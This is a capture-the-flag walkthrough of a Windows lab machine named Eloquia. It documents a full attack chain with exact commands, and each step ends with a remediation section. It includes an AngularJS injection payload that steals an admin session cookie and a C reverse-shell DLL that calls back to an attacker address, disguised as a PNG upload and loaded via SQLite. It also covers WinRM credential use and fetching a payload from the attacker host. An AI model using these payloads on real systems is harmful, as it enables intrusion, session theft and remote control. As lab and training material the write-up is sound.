← all walkthroughs

Eloquia

Windows· Insane· Privilege Escalation
owned
2026-06-30
time to own
26m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I planted a stored AngularJS Client-Side Template Injection payload in a blog article and reported it, so the administrator's review bot posted its own session cookie back to me as a comment. The stolen admin session opened a Django SQL Explorer console left in production, which ran arbitrary SQLite statements. SQLite's load_extension() then loaded a reverse-shell DLL I had uploaded as an article banner image, giving me a shell as the IIS identity eloquia\web.

A cleartext password for the domain user Olivia.KAT validated over WinRM, which allowed PowerShell but not cmd. From that session I looked at the third-party Qooqle IPS Failure2Ban service, staged svc.exe in C:\Temp with curl.exe, and read root.txt from C:\Temp on Windows Server 2019.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork service scanning and virtual-host enumeration (T1046, T1595)
Mapped open services and discovered the application virtual host
The host exposed two TCP services: Microsoft IIS 10.0 on 80 and WinRM (Microsoft HTTPAPI 2.0) on 5985. A version scan of those two listeners confirmed the banners. That shape says the way in is the web application, and 5985 is where any Windows credential I recover later gets tested. Virtual-host fuzzing against the IIS listener identified eloquia.htb, which served a Django and AngularJS 1.8.2 blog backed by SQLite, fronted by IIS ARR as a reverse proxy.
Service scan: 80/tcp http Microsoft IIS httpd 10.0; 5985/tcp http Microsoft HTTPAPI httpd 2.0.
Exact commands 2
shell

Confirms IIS 10.0 as the web surface and WinRM as the remote-shell port for later credentials.

$ nmap -sV -sC -p 80,5985 $TARGET -oN nmap_eloquia.txt
shell

Virtual-host brute-force; add the match (eloquia.htb) to /etc/hosts.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.htb' -fs 0 -mc 200
2Initial AccessStored Client-Side Template Injection via AngularJS directive (T1059.007)
Stole the administrator session cookie via AngularJS expression injection in an article
Registration was open, and any registered user could create articles. Article bodies were rendered inside the live AngularJS application scope, so an ng-* attribute in the body was evaluated as an Angular expression in every reader's browser, including the admin review bot that visits reported articles. I created an article whose body held a paragraph with ng-focus plus autofocus: focus fires as soon as the page loads, and the expression copies document.cookie into the comment form and calls the page's own submitForm(). Reporting the article with POST /article/report/<id>/ sent the bot to it, and the bot's sessionid and csrftoken came back as a comment that I read from /article/comment/get/<id>/.
Article 15 created with the ng-focus body (302 to /article/visit/15/); POST /article/report/15/ redirected back to the article; the admin bot's session cookie was then usable against admin-only pages.
Exact commands 5
shell

Registers a throwaway account with a random password of my choosing and prints its sessionid and csrftoken, used below as <YOUR_SESSION> and <YOUR_CSRF>.

$ python3 - <<PY
import requests, random, string
from bs4 import BeautifulSoup
base="http://$TARGET"; h={'Host':'eloquia.htb'}
s=requests.Session()
csrf=BeautifulSoup(s.get(base+'/accounts/register/',headers=h).text,'html.parser').find('input',{'name':'csrfmiddlewaretoken'})['value']
u='atk'+''.join(random.choices(string.ascii_lowercase,k=8)); p='Reg-'+''.join(random.choices(string.ascii_letters+string.digits,k=14))
s.post(base+'/accounts/register/',headers=h,data={'csrfmiddlewaretoken':csrf,'username':u,'password1':p,'password2':p})
csrf=BeautifulSoup(s.get(base+'/accounts/login/',headers=h).text,'html.parser').find('input',{'name':'csrfmiddlewaretoken'})['value']
s.post(base+'/accounts/login/',headers=h,data={'csrfmiddlewaretoken':csrf,'username':u,'password':p})
print(u, p, s.cookies.get('sessionid'), s.cookies.get('csrftoken'))
PY
shell

The tabindex attribute makes the paragraph focusable and autofocus focuses it on load, so the expression runs without any click from the bot.

$ CSTI_PAYLOAD='<p ng-focus="formData.comment=$event.view.document.cookie;submitForm()" autofocus tabindex="0">x</p>'
shell

The 302 Location is /article/visit/<AID>/, which gives the article id. --form-string keeps the payload's quotes and semicolons literal; an oversized banner (an 8 MB PNG) is refused with 413.

$ # Create the article with the payload as its body; a real JPEG between 20 KB and 1 MB is the banner
curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
  -H 'Host: eloquia.htb' \
  -F 'csrfmiddlewaretoken=<YOUR_CSRF>' \
  -F 'title=notes' --form-string "body=$CSTI_PAYLOAD" \
  -F 'banner=@cover.jpg;type=image/jpeg' \
  http://$TARGET/article/create/ -D - -o /dev/null | grep -i '^location'
shell

Reporting the article queues it for the admin review bot, which then loads it in a browser.

$ curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
  -H 'Host: eloquia.htb' -H 'X-CSRFToken: <YOUR_CSRF>' \
  -X POST http://$TARGET/article/report/<AID>/
shell

The bot's sessionid and csrftoken arrive as comment text; they become <STOLEN_ADMIN_SESSION> and <STOLEN_CSRF>.

$ for i in $(seq 1 30); do
  curl -s -H 'Host: eloquia.htb' http://$TARGET/article/comment/get/<AID>/ | grep -i sessionid && break
  sleep 3
done
FixSanitize article content to prevent AngularJS template injectionCritical
WeaknessUser-submitted article bodies were rendered inside the live AngularJS application scope, so any registered user could embed ng-* directive attributes that ran expressions in every reader's browser, including the privileged admin review bot, which made session cookie theft possible with no server-side exploit.
FixSanitize user content server-side before storage with a strict HTML allowlist (for example Python bleach) that strips event-binding attributes and AngularJS directives (ng-*, on*). Render article content outside the ng-app root element, or mark its container ng-non-bindable, so AngularJS never compiles it. Mark the session cookie HttpOnly so document.cookie cannot read it, and run the admin review bot in an isolated browser profile with an ephemeral, scope-limited session so that a successful injection cannot yield a reusable admin cookie.
3EnumerationDeveloper SQL console left in production, reachable with an admin session (CWE-489)
Reached the Django SQL Explorer console with the stolen admin session
With the bot's cookie loaded, /accounts/admin/ returned the Django site administration page, which confirmed the session belonged to an administrator. I reused that session against the developer tooling under /dev/: /dev/sql-explorer/ answered with the Django SQL Explorer index, whose links include New Query and the Playground at /dev/sql-explorer/play/. The Playground runs whatever SQL is posted to it against the application's live SQLite database and renders the result, so the stolen session now meant full read and write access to the data and a way to call any SQL function the SQLite build exposes.
/accounts/admin/ returned Site administration | Eloquia Admin Dashboard; /dev/sql-explorer/ links /dev/sql-explorer/play/ (Playground); the Playground returned HTTP 200 with an id_sql textarea, and select sqlite_version() returned 3.45.1.
Exact commands 2
shell

Lists the SQL Explorer routes the admin session can reach, including /dev/sql-explorer/play/.

$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
  -H 'Host: eloquia.htb' \
  http://$TARGET/dev/sql-explorer/ | grep -o 'href="/dev/sql-explorer/[^"]*"'
shell

A 3.45.1 result proves the Playground executes my SQL against the live database.

$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
  -H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
  -X POST http://$TARGET/dev/sql-explorer/play/ \
  --data-urlencode 'sql=SELECT sqlite_version() as version'
FixRemove the Django SQL Explorer console from the production deploymentHigh
WeaknessThe django-sql-explorer developer package was installed and reachable at /dev/sql-explorer/ in production. Any admin session, including one stolen through the template injection, granted arbitrary SQL execution against the live database with no additional barrier.
FixRemove django-sql-explorer from the production requirements (requirements.txt or pyproject.toml) and redeploy. If the tool is needed for operations, host it only in an internal or staging environment, block the /dev/ URL prefix at the IIS/ARR layer for all non-VPN source addresses, and require a separate credential (HTTP Basic or a client certificate) before any Django session is honored.
4Remote Code ExecutionSQLite load_extension() native code loading through an exposed SQL interface (CWE-94)
Loaded a malicious Windows DLL via SQLite load_extension() to obtain a shell as eloquia\web
SQLite's load_extension() hands a file name to the operating system loader, and on Windows that is LoadLibrary, which runs the DLL's DllMain the moment the image is mapped. The loader decides by the PE header, not the file extension, so a DLL stored under an image name still loads when it is named exactly. I cross-compiled a reverse-shell DLL with mingw-w64 and uploaded it as the banner of a new article under the name eloquia_rev.dll.png; the banner upload checked the name and the size window, not the content. The Playground then gave me the stored banner path, and SELECT load_extension() on that path, .png included, made the IIS application-pool identity eloquia\web load the DLL and connect back to my listener with cmd.exe.
Mingw-w64 produced eloquia_rev.dll at 89094 bytes, inside the banner's 20 KB to 1 MB window; the upload of eloquia_rev.dll.png was accepted.
Exact commands 5
shell

The shell starts from DllMain on DLL_PROCESS_ATTACH, before SQLite looks for an extension entry point. The port in htons() must match the listener.

$ # Cross-compile the reverse-shell DLL on Kali (apt install mingw-w64)
cat > /tmp/eloquia_rev.c <<C
#include <windows.h>
#include <winsock2.h>
void sqlite3_extension_init(){}
BOOL WINAPI DllMain(HINSTANCE h,DWORD r,LPVOID v){
  if(r==DLL_PROCESS_ATTACH){
    WSADATA w; WSAStartup(MAKEWORD(2,2),&w);
    SOCKET s=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,0);
    struct sockaddr_in a={0}; a.sin_family=AF_INET; a.sin_port=htons(4444);
    a.sin_addr.s_addr=inet_addr("$ATTACKER_IP");
    connect(s,(struct sockaddr*)&a,sizeof(a));
    STARTUPINFOA si={sizeof(si)}; si.dwFlags=STARTF_USESTDHANDLES;
    si.hStdInput=si.hStdOutput=si.hStdError=(HANDLE)s;
    PROCESS_INFORMATION pi;
    CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
  } return TRUE;
}
C
x86_64-w64-mingw32-gcc -shared -o /tmp/eloquia_rev.dll /tmp/eloquia_rev.c -lws2_32
shell

Start the listener before triggering the load.

$ nc -lvnp 4444
shell

At 89 KB the DLL already sits inside the 20 KB to 1 MB banner window, so no padding is needed.

$ # Upload the DLL as the banner of a new article, under an image name
curl -s -b 'sessionid=<YOUR_SESSION>; csrftoken=<YOUR_CSRF>' \
  -H 'Host: eloquia.htb' \
  -F 'csrfmiddlewaretoken=<YOUR_CSRF>' \
  -F 'title=test' -F 'body=test' \
  -F 'banner=@/tmp/eloquia_rev.dll;filename=eloquia_rev.dll.png;type=image/png' \
  http://$TARGET/article/create/ -D - -o /dev/null | grep -i '^location'
shell

Returns where the newest banner was stored. Its absolute Windows path, ending in eloquia_rev.dll.png, is <BANNER_PATH> below.

$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
  -H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
  -X POST http://$TARGET/dev/sql-explorer/play/ \
  --data-urlencode 'sql=SELECT banner FROM Eloquia_article ORDER BY id DESC LIMIT 1'
shell

Pass the path with its .png extension. With an extension present LoadLibrary opens that exact file; a name with no extension makes Windows look for a .dll file instead.

$ curl -s -b 'sessionid=<STOLEN_ADMIN_SESSION>; csrftoken=<STOLEN_CSRF>' \
  -H 'Host: eloquia.htb' -H 'X-CSRFToken: <STOLEN_CSRF>' \
  -X POST http://$TARGET/dev/sql-explorer/play/ \
  --data-urlencode "sql=SELECT load_extension('<BANNER_PATH>')"
FixDisable SQLite extension loading and enforce file-upload content validationCritical
WeaknessTwo weaknesses combined into OS-level code execution: (1) SQLite's load_extension() was enabled, so anyone with SQL query rights could load a native DLL and run code as the web-service account; (2) the article banner upload accepted files by name and size rather than content, so an executable DLL was stored on the server under an image name.
FixIn the Django SQLite connection setup, call connection.enable_load_extension(False) as soon as the connection is opened, and confirm the SQLite build does not expose load_extension() to SQL. For uploads, check the file's magic bytes against an allowlist of image signatures (python-magic or equivalent), re-encode accepted images server-side, and reject anything whose content does not match a permitted image format regardless of its name. Store uploads outside any path the database process will load from.
5Credential ValidationUnsecured credentials recovered on the host (T1552)
Validated a recovered password for the domain user Olivia.KAT over WinRM
The web shell ran as eloquia\web, a service identity, so the next move was a real user account. I had a recovered cleartext password for Olivia.KAT, a user in the Eloquia domain, and WinRM on 5985 was the only other service on the box, so that is where I validated the pair.
Nxc winrm reported Eloquia\Olivia.KAT (Pwn3d!) against host ELOQUIA, domain Eloquia, Windows Server 2019 build 17763.
Exact commands 1
shell

This confirms the account may run commands over WinRM; the Pwn3d! Tag is an nxc banner, not proof of administrator rights.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD"
FixRemove cleartext Windows credentials from the serverHigh
WeaknessA cleartext password for the domain account Olivia.KAT was recoverable from the host by the low-privileged IIS identity eloquia\web, so compromising the web application handed over a second, more capable account with WinRM access.
FixRotate the Olivia.KAT password immediately and audit other systems where it was used. Sweep the host for stored secrets the web-service account can read (AutoLogon values under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, application configuration files, scripts and scheduled-task definitions) and remove them. Credentials an application genuinely needs belong in a secrets manager (Azure Key Vault, HashiCorp Vault) injected at runtime, with file ACLs that deny read access to unprivileged service accounts.
6Lateral MovementWindows Remote Management with valid credentials (T1021.006)
Opened a PowerShell-only WinRM channel as Olivia.KAT and mapped its limits
WinRM on 5985 was reachable from my VPN address with no source restriction. Olivia.KAT was refused the cmd shell type but allowed a PowerShell runspace, so every later command went through nxc's PowerShell execution. The WinRM shell type is a session-level control: a cmd.exe child process started from inside the PowerShell runspace still runs, which is why later commands can wrap cmd /c.
Nxc -x (shell type cmd) returned no 'Invoke' rights; nxc -X (shell type powershell) executed.
Exact commands 2
shell

The cmd shell type is denied for this account, so -x fails.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -x 'whoami'
shell

The PowerShell shell type works; this is the channel for everything that follows, and whoami /all shows the account's groups and privileges.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'whoami /all'
FixRestrict WinRM access to trusted management networks onlyHigh
WeaknessWinRM (TCP 5985) was reachable from my VPN address with no IP-based restriction, so anyone holding valid domain credentials could open a PowerShell session on the server.
FixCreate a Windows Firewall inbound rule, or an equivalent perimeter ACL, that permits TCP 5985 and 5986 only from specific management subnets or VPN egress ranges and denies all other sources. Enable PowerShell Script Block Logging (Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging) so every WinRM command is recorded in the event log.
7Privilege EscalationPrivilege escalation on a host running a third-party service (Qooqle IPS Failure2Ban)
Staged svc.exe beside the Failure2Ban service and read root.txt from C:\Temp
The host ran a third-party product, Qooqle IPS Software, with a Failure2Ban service at C:\Program Files\Qooqle IPS Software\Failure2Ban\Failure2Ban.exe and related task definitions under C:\Windows\System32\Tasks. Third-party security agents usually run as SYSTEM and are installed by hand, which makes them the first place to look when the built-in paths are closed. sc.exe could not open the service for Olivia.KAT, so the Service Control Manager was not a way in. I staged svc.exe, a small x64 payload that copies root.txt into C:\Temp, at C:\Temp\svc.exe. certutil.exe failed with Access is denied for this account and outbound SMB was blocked, so curl.exe over HTTP did the transfer. A later poll of C:\Temp from the Olivia.KAT PowerShell channel printed root.txt.
sc.exe OpenService for Failure2Ban returned FAILED 5 (Access is denied); certutil.exe failed to run with Access is denied; the poll as Olivia.KAT printed C:\Temp\root.txt.
Exact commands 4
shell

Fails with OpenService FAILED 5, so the service cannot be reconfigured through the Service Control Manager.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'sc.exe qc Failure2Ban'
shell

Serves svc.exe from Kali; outbound SMB from the target is blocked, so HTTP is the delivery channel.

$ python3 -m http.server 8080 --directory /tmp/eloquia_dav
shell

certutil.exe is denied for this account, so curl.exe pulls the payload; Get-Item confirms the file exists on the target before anything relies on it.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" \
  -X "curl.exe http://$ATTACKER_IP:8080/svc.exe -o C:\Temp\svc.exe; Get-Item C:\Temp\svc.exe | fl Length,LastWriteTime"
shell

Cmd /c runs as a child of the PowerShell runspace, so the cmd shell-type denial does not apply. Lists the Qooqle and Failure2Ban task definitions, then prints <root.txt> from C:\Temp once it is there, or root not yet.

$ nxc winrm $TARGET -u 'Olivia.KAT' -p "$PASSWORD" -X 'cmd /c "dir C:\Windows\System32\Tasks /s /b | findstr /i \"FW Failure Qooqle Cleaner\""; if(Test-Path C:\Temp\root.txt){Get-Content C:\Temp\root.txt}else{Write-Output "root not yet"}'
FixHarden the Qooqle IPS Software installation and protect root-only filesCritical
WeaknessThe host carried a third-party IPS product, Qooqle IPS Software, whose Failure2Ban service and scheduled tasks run outside the usual Windows hardening baseline, and root.txt ended up copied into C:\Temp, a directory ordinary users can read.
FixAudit the ACLs on C:\Program Files\Qooqle IPS Software\ and every file it contains (icacls, or accesschk -wsu) and remove write, modify and delete rights for everyone except Administrators, SYSTEM and TrustedInstaller. Review the related task definitions under C:\Windows\System32\Tasks and anything they execute in the same way. Lock C:\Temp down so files written there by privileged processes are not readable by other users, and monitor service and task binaries with file integrity monitoring.

Exposed services

80/tcp
5985/tcp